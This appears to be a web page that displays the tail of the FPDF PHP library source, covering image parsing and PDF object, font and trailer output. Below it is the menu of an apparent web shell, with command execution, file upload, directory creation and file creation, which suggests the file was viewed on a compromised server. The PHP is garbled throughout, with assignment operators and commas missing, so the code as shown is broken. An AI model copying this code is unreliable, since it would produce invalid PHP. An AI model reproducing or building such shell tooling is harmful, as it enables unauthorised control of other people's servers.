$this->Error('Not a JPEG file: '.$file);
    if(!isset(
$a['channels']) || $a['channels']==3)
        
$colspace 'DeviceRGB';
    elseif(
$a['channels']==4)
        
$colspace 'DeviceCMYK';
    else
        
$colspace 'DeviceGray';
    
$bpc = isset($a['bits']) ? $a['bits'] : 8;
    
$data file_get_contents($file);
    return array(
'w'=>$a[0], 'h'=>$a[1], 'cs'=>$colspace'bpc'=>$bpc'f'=>'DCTDecode''data'=>$data);
}

function 
_parsepng($file)
{
    
// Extract info from a PNG file
    
$f fopen($file,'rb');
    if(!
$f)
        
$this->Error('Can\'t open image file: '.$file);
    
$info $this->_parsepngstream($f,$file);
    
fclose($f);
    return 
$info;
}

function 
_parsepngstream($f$file)
{
    
// Check signature
    
if($this->_readstream($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10))
        
$this->Error('Not a PNG file: '.$file);

    
// Read header chunk
    
$this->_readstream($f,4);
    if(
$this->_readstream($f,4)!='IHDR')
        
$this->Error('Incorrect PNG file: '.$file);
    
$w $this->_readint($f);
    
$h $this->_readint($f);
    
$bpc ord($this->_readstream($f,1));
    if(
$bpc>8)
        
$this->Error('16-bit depth not supported: '.$file);
    
$ct ord($this->_readstream($f,1));
    if(
$ct==|| $ct==4)
        
$colspace 'DeviceGray';
    elseif(
$ct==|| $ct==6)
        
$colspace 'DeviceRGB';
    elseif(
$ct==3)
        
$colspace 'Indexed';
    else
        
$this->Error('Unknown color type: '.$file);
    if(
ord($this->_readstream($f,1))!=0)
        
$this->Error('Unknown compression method: '.$file);
    if(
ord($this->_readstream($f,1))!=0)
        
$this->Error('Unknown filter method: '.$file);
    if(
ord($this->_readstream($f,1))!=0)
        
$this->Error('Interlacing not supported: '.$file);
    
$this->_readstream($f,4);
    
$dp '/Predictor 15 /Colors '.($colspace=='DeviceRGB' 1).' /BitsPerComponent '.$bpc.' /Columns '.$w;

    
// Scan chunks looking for palette, transparency and image data
    
$pal '';
    
$trns '';
    
$data '';
    do
    {
        
$n $this->_readint($f);
        
$type $this->_readstream($f,4);
        if(
$type=='PLTE')
        {
            
// Read palette
            
$pal $this->_readstream($f,$n);
            
$this->_readstream($f,4);
        }
        elseif(
$type=='tRNS')
        {
            
// Read transparency info
            
$t $this->_readstream($f,$n);
            if(
$ct==0)
                
$trns = array(ord(substr($t,1,1)));
            elseif(
$ct==2)
                
$trns = array(ord(substr($t,1,1)), ord(substr($t,3,1)), ord(substr($t,5,1)));
            else
            {
                
$pos strpos($t,chr(0));
                if(
$pos!==false)
                    
$trns = array($pos);
            }
            
$this->_readstream($f,4);
        }
        elseif(
$type=='IDAT')
        {
            
// Read image data block
            
$data .= $this->_readstream($f,$n);
            
$this->_readstream($f,4);
        }
        elseif(
$type=='IEND')
            break;
        else
            
$this->_readstream($f,$n+4);
    }
    while(
$n);

    if(
$colspace=='Indexed' && empty($pal))
        
$this->Error('Missing palette in '.$file);
    
$info = array('w'=>$w'h'=>$h'cs'=>$colspace'bpc'=>$bpc'f'=>'FlateDecode''dp'=>$dp'pal'=>$pal'trns'=>$trns);
    if(
$ct>=4)
    {
        
// Extract alpha channel
        
if(!function_exists('gzuncompress'))
            
$this->Error('Zlib not available, can\'t handle alpha channel: '.$file);
        
$data gzuncompress($data);
        
$color '';
        
$alpha '';
        if(
$ct==4)
        {
            
// Gray image
            
$len 2*$w;
            for(
$i=0;$i<$h;$i++)
            {
                
$pos = (1+$len)*$i;
                
$color .= $data[$pos];
                
$alpha .= $data[$pos];
                
$line substr($data,$pos+1,$len);
                
$color .= preg_replace('/(.)./s','$1',$line);
                
$alpha .= preg_replace('/.(.)/s','$1',$line);
            }
        }
        else
        {
            
// RGB image
            
$len 4*$w;
            for(
$i=0;$i<$h;$i++)
            {
                
$pos = (1+$len)*$i;
                
$color .= $data[$pos];
                
$alpha .= $data[$pos];
                
$line substr($data,$pos+1,$len);
                
$color .= preg_replace('/(.{3})./s','$1',$line);
                
$alpha .= preg_replace('/.{3}(.)/s','$1',$line);
            }
        }
        unset(
$data);
        
$data gzcompress($color);
        
$info['smask'] = gzcompress($alpha);
        if(
$this->PDFVersion<'1.4')
            
$this->PDFVersion '1.4';
    }
    
$info['data'] = $data;
    return 
$info;
}

function 
_readstream($f$n)
{
    
// Read n bytes from stream
    
$res '';
    while(
$n>&& !feof($f))
    {
        
$s fread($f,$n);
        if(
$s===false)
            
$this->Error('Error while reading stream');
        
$n -= strlen($s);
        
$res .= $s;
    }
    if(
$n>0)
        
$this->Error('Unexpected end of stream');
    return 
$res;
}

function 
_readint($f)
{
    
// Read a 4-byte integer from stream
    
$a unpack('Ni',$this->_readstream($f,4));
    return 
$a['i'];
}

function 
_parsegif($file)
{
    
// Extract info from a GIF file (via PNG conversion)
    
if(!function_exists('imagepng'))
        
$this->Error('GD extension is required for GIF support');
    if(!
function_exists('imagecreatefromgif'))
        
$this->Error('GD has no GIF read support');
    
$im imagecreatefromgif($file);
    if(!
$im)
        
$this->Error('Missing or incorrect image file: '.$file);
    
imageinterlace($im,0);
    
$f = @fopen('php://temp','rb+');
    if(
$f)
    {
        
// Perform conversion in memory
        
ob_start();
        
imagepng($im);
        
$data ob_get_clean();
        
imagedestroy($im);
        
fwrite($f,$data);
        
rewind($f);
        
$info $this->_parsepngstream($f,$file);
        
fclose($f);
    }
    else
    {
        
// Use temporary file
        
$tmp tempnam('.','gif');
        if(!
$tmp)
            
$this->Error('Unable to create a temporary file');
        if(!
imagepng($im,$tmp))
            
$this->Error('Error while saving to temporary file');
        
imagedestroy($im);
        
$info $this->_parsepng($tmp);
        
unlink($tmp);
    }
    return 
$info;
}

function 
_newobj()
{
    
// Begin a new object
    
$this->n++;
    
$this->offsets[$this->n] = strlen($this->buffer);
    
$this->_out($this->n.' 0 obj');
}

function 
_putstream($s)
{
    
$this->_out('stream');
    
$this->_out($s);
    
$this->_out('endstream');
}

function 
_out($s)
{
    
// Add a line to the document
    
if($this->state==2)
        
$this->pages[$this->page] .= $s."\n";
    else
        
$this->buffer .= $s."\n";
}

function 
_putpages()
{
    
$nb $this->page;
    if(!empty(
$this->AliasNbPages))
    {
        
// Replace number of pages
        
for($n=1;$n<=$nb;$n++)
            
$this->pages[$n] = str_replace($this->AliasNbPages,$nb,$this->pages[$n]);
    }
    if(
$this->DefOrientation=='P')
    {
        
$wPt $this->DefPageSize[0]*$this->k;
        
$hPt $this->DefPageSize[1]*$this->k;
    }
    else
    {
        
$wPt $this->DefPageSize[1]*$this->k;
        
$hPt $this->DefPageSize[0]*$this->k;
    }
    
$filter = ($this->compress) ? '/Filter /FlateDecode ' '';
    for(
$n=1;$n<=$nb;$n++)
    {
        
// Page
        
$this->_newobj();
        
$this->_out('<</Type /Page');
        
$this->_out('/Parent 1 0 R');
        if(isset(
$this->PageSizes[$n]))
            
$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$this->PageSizes[$n][0],$this->PageSizes[$n][1]));
        
$this->_out('/Resources 2 0 R');
        if(isset(
$this->PageLinks[$n]))
        {
            
// Links
            
$annots '/Annots [';
            foreach(
$this->PageLinks[$n] as $pl)
            {
                
$rect sprintf('%.2F %.2F %.2F %.2F',$pl[0],$pl[1],$pl[0]+$pl[2],$pl[1]-$pl[3]);
                
$annots .= '<</Type /Annot /Subtype /Link /Rect ['.$rect.'] /Border [0 0 0] ';
                if(
is_string($pl[4]))
                    
$annots .= '/A <</S /URI /URI '.$this->_textstring($pl[4]).'>>>>';
                else
                {
                    
$l $this->links[$pl[4]];
                    
$h = isset($this->PageSizes[$l[0]]) ? $this->PageSizes[$l[0]][1] : $hPt;
                    
$annots .= sprintf('/Dest [%d 0 R /XYZ 0 %.2F null]>>',1+2*$l[0],$h-$l[1]*$this->k);
                }
            }
            
$this->_out($annots.']');
        }
        if(
$this->PDFVersion>'1.3')
            
$this->_out('/Group <</Type /Group /S /Transparency /CS /DeviceRGB>>');
        
$this->_out('/Contents '.($this->n+1).' 0 R>>');
        
$this->_out('endobj');
        
// Page content
        
$p = ($this->compress) ? gzcompress($this->pages[$n]) : $this->pages[$n];
        
$this->_newobj();
        
$this->_out('<<'.$filter.'/Length '.strlen($p).'>>');
        
$this->_putstream($p);
        
$this->_out('endobj');
    }
    
// Pages root
    
$this->offsets[1] = strlen($this->buffer);
    
$this->_out('1 0 obj');
    
$this->_out('<</Type /Pages');
    
$kids '/Kids [';
    for(
$i=0;$i<$nb;$i++)
        
$kids .= (3+2*$i).' 0 R ';
    
$this->_out($kids.']');
    
$this->_out('/Count '.$nb);
    
$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$wPt,$hPt));
    
$this->_out('>>');
    
$this->_out('endobj');
}

function 
_putfonts()
{
    
$nf $this->n;
    foreach(
$this->diffs as $diff)
    {
        
// Encodings
        
$this->_newobj();
        
$this->_out('<</Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences ['.$diff.']>>');
        
$this->_out('endobj');
    }
    foreach(
$this->FontFiles as $file=>$info)
    {
        
// Font file embedding
        
$this->_newobj();
        
$this->FontFiles[$file]['n'] = $this->n;
        
$font file_get_contents($this->fontpath.$file,true);
        if(!
$font)
            
$this->Error('Font file not found: '.$file);
        
$compressed = (substr($file,-2)=='.z');
        if(!
$compressed && isset($info['length2']))
            
$font substr($font,6,$info['length1']).substr($font,6+$info['length1']+6,$info['length2']);
        
$this->_out('<</Length '.strlen($font));
        if(
$compressed)
            
$this->_out('/Filter /FlateDecode');
        
$this->_out('/Length1 '.$info['length1']);
        if(isset(
$info['length2']))
            
$this->_out('/Length2 '.$info['length2'].' /Length3 0');
        
$this->_out('>>');
        
$this->_putstream($font);
        
$this->_out('endobj');
    }
    foreach(
$this->fonts as $k=>$font)
    {
        
// Font objects
        
$this->fonts[$k]['n'] = $this->n+1;
        
$type $font['type'];
        
$name $font['name'];
        if(
$type=='Core')
        {
            
// Core font
            
$this->_newobj();
            
$this->_out('<</Type /Font');
            
$this->_out('/BaseFont /'.$name);
            
$this->_out('/Subtype /Type1');
            if(
$name!='Symbol' && $name!='ZapfDingbats')
                
$this->_out('/Encoding /WinAnsiEncoding');
            
$this->_out('>>');
            
$this->_out('endobj');
        }
        elseif(
$type=='Type1' || $type=='TrueType')
        {
            
// Additional Type1 or TrueType/OpenType font
            
$this->_newobj();
            
$this->_out('<</Type /Font');
            
$this->_out('/BaseFont /'.$name);
            
$this->_out('/Subtype /'.$type);
            
$this->_out('/FirstChar 32 /LastChar 255');
            
$this->_out('/Widths '.($this->n+1).' 0 R');
            
$this->_out('/FontDescriptor '.($this->n+2).' 0 R');
            if(isset(
$font['diffn']))
                
$this->_out('/Encoding '.($nf+$font['diffn']).' 0 R');
            else
                
$this->_out('/Encoding /WinAnsiEncoding');
            
$this->_out('>>');
            
$this->_out('endobj');
            
// Widths
            
$this->_newobj();
            
$cw = &$font['cw'];
            
$s '[';
            for(
$i=32;$i<=255;$i++)
                
$s .= $cw[chr($i)].' ';
            
$this->_out($s.']');
            
$this->_out('endobj');
            
// Descriptor
            
$this->_newobj();
            
$s '<</Type /FontDescriptor /FontName /'.$name;
            foreach(
$font['desc'] as $k=>$v)
                
$s .= ' /'.$k.' '.$v;
            if(!empty(
$font['file']))
                
$s .= ' /FontFile'.($type=='Type1' '' '2').' '.$this->FontFiles[$font['file']]['n'].' 0 R';
            
$this->_out($s.'>>');
            
$this->_out('endobj');
        }
        else
        {
            
// Allow for additional types
            
$mtd '_put'.strtolower($type);
            if(!
method_exists($this,$mtd))
                
$this->Error('Unsupported font type: '.$type);
            
$this->$mtd($font);
        }
    }
}

function 
_putimages()
{
    foreach(
array_keys($this->images) as $file)
    {
        
$this->_putimage($this->images[$file]);
        unset(
$this->images[$file]['data']);
        unset(
$this->images[$file]['smask']);
    }
}

function 
_putimage(&$info)
{
    
$this->_newobj();
    
$info['n'] = $this->n;
    
$this->_out('<</Type /XObject');
    
$this->_out('/Subtype /Image');
    
$this->_out('/Width '.$info['w']);
    
$this->_out('/Height '.$info['h']);
    if(
$info['cs']=='Indexed')
        
$this->_out('/ColorSpace [/Indexed /DeviceRGB '.(strlen($info['pal'])/3-1).' '.($this->n+1).' 0 R]');
    else
    {
        
$this->_out('/ColorSpace /'.$info['cs']);
        if(
$info['cs']=='DeviceCMYK')
            
$this->_out('/Decode [1 0 1 0 1 0 1 0]');
    }
    
$this->_out('/BitsPerComponent '.$info['bpc']);
    if(isset(
$info['f']))
        
$this->_out('/Filter /'.$info['f']);
    if(isset(
$info['dp']))
        
$this->_out('/DecodeParms <<'.$info['dp'].'>>');
    if(isset(
$info['trns']) && is_array($info['trns']))
    {
        
$trns '';
        for(
$i=0;$i<count($info['trns']);$i++)
            
$trns .= $info['trns'][$i].' '.$info['trns'][$i].' ';
        
$this->_out('/Mask ['.$trns.']');
    }
    if(isset(
$info['smask']))
        
$this->_out('/SMask '.($this->n+1).' 0 R');
    
$this->_out('/Length '.strlen($info['data']).'>>');
    
$this->_putstream($info['data']);
    
$this->_out('endobj');
    
// Soft mask
    
if(isset($info['smask']))
    {
        
$dp '/Predictor 15 /Colors 1 /BitsPerComponent 8 /Columns '.$info['w'];
        
$smask = array('w'=>$info['w'], 'h'=>$info['h'], 'cs'=>'DeviceGray''bpc'=>8'f'=>$info['f'], 'dp'=>$dp'data'=>$info['smask']);
        
$this->_putimage($smask);
    }
    
// Palette
    
if($info['cs']=='Indexed')
    {
        
$filter = ($this->compress) ? '/Filter /FlateDecode ' '';
        
$pal = ($this->compress) ? gzcompress($info['pal']) : $info['pal'];
        
$this->_newobj();
        
$this->_out('<<'.$filter.'/Length '.strlen($pal).'>>');
        
$this->_putstream($pal);
        
$this->_out('endobj');
    }
}

function 
_putxobjectdict()
{
    foreach(
$this->images as $image)
        
$this->_out('/I'.$image['i'].' '.$image['n'].' 0 R');
}

function 
_putresourcedict()
{
    
$this->_out('/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]');
    
$this->_out('/Font <<');
    foreach(
$this->fonts as $font)
        
$this->_out('/F'.$font['i'].' '.$font['n'].' 0 R');
    
$this->_out('>>');
    
$this->_out('/XObject <<');
    
$this->_putxobjectdict();
    
$this->_out('>>');
}

function 
_putresources()
{
    
$this->_putfonts();
    
$this->_putimages();
    
// Resource dictionary
    
$this->offsets[2] = strlen($this->buffer);
    
$this->_out('2 0 obj');
    
$this->_out('<<');
    
$this->_putresourcedict();
    
$this->_out('>>');
    
$this->_out('endobj');
}

function 
_putinfo()
{
    
$this->_out('/Producer '.$this->_textstring('FPDF '.FPDF_VERSION));
    if(!empty(
$this->title))
        
$this->_out('/Title '.$this->_textstring($this->title));
    if(!empty(
$this->subject))
        
$this->_out('/Subject '.$this->_textstring($this->subject));
    if(!empty(
$this->author))
        
$this->_out('/Author '.$this->_textstring($this->author));
    if(!empty(
$this->keywords))
        
$this->_out('/Keywords '.$this->_textstring($this->keywords));
    if(!empty(
$this->creator))
        
$this->_out('/Creator '.$this->_textstring($this->creator));
    
$this->_out('/CreationDate '.$this->_textstring('D:'.@date('YmdHis')));
}

function 
_putcatalog()
{
    
$this->_out('/Type /Catalog');
    
$this->_out('/Pages 1 0 R');
    if(
$this->ZoomMode=='fullpage')
        
$this->_out('/OpenAction [3 0 R /Fit]');
    elseif(
$this->ZoomMode=='fullwidth')
        
$this->_out('/OpenAction [3 0 R /FitH null]');
    elseif(
$this->ZoomMode=='real')
        
$this->_out('/OpenAction [3 0 R /XYZ null null 1]');
    elseif(!
is_string($this->ZoomMode))
        
$this->_out('/OpenAction [3 0 R /XYZ null null '.sprintf('%.2F',$this->ZoomMode/100).']');
    if(
$this->LayoutMode=='single')
        
$this->_out('/PageLayout /SinglePage');
    elseif(
$this->LayoutMode=='continuous')
        
$this->_out('/PageLayout /OneColumn');
    elseif(
$this->LayoutMode=='two')
        
$this->_out('/PageLayout /TwoColumnLeft');
}

function 
_putheader()
{
    
$this->_out('%PDF-'.$this->PDFVersion);
}

function 
_puttrailer()
{
    
$this->_out('/Size '.($this->n+1));
    
$this->_out('/Root '.$this->n.' 0 R');
    
$this->_out('/Info '.($this->n-1).' 0 R');
}

function 
_enddoc()
{
    
$this->_putheader();
    
$this->_putpages();
    
$this->_putresources();
    
// Info
    
$this->_newobj();
    
$this->_out('<<');
    
$this->_putinfo();
    
$this->_out('>>');
    
$this->_out('endobj');
    
// Catalog
    
$this->_newobj();
    
$this->_out('<<');
    
$this->_putcatalog();
    
$this->_out('>>');
    
$this->_out('endobj');
    
// Cross-ref
    
$o strlen($this->buffer);
    
$this->_out('xref');
    
$this->_out('0 '.($this->n+1));
    
$this->_out('0000000000 65535 f ');
    for(
$i=1;$i<=$this->n;$i++)
        
$this->_out(sprintf('%010d 00000 n ',$this->offsets[$i]));
    
// Trailer
    
$this->_out('trailer');
    
$this->_out('<<');
    
$this->_puttrailer();
    
$this->_out('>>');
    
$this->_out('startxref');
    
$this->_out($o);
    
$this->_out('%%EOF');
    
$this->state 3;
}
// End of class
}

// Handle special IE contype request
if(isset($_SERVER['HTTP_USER_AGENT']) && $_SERVER['HTTP_USER_AGENT']=='contype')
{
    
header('Content-Type: application/pdf');
    exit;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

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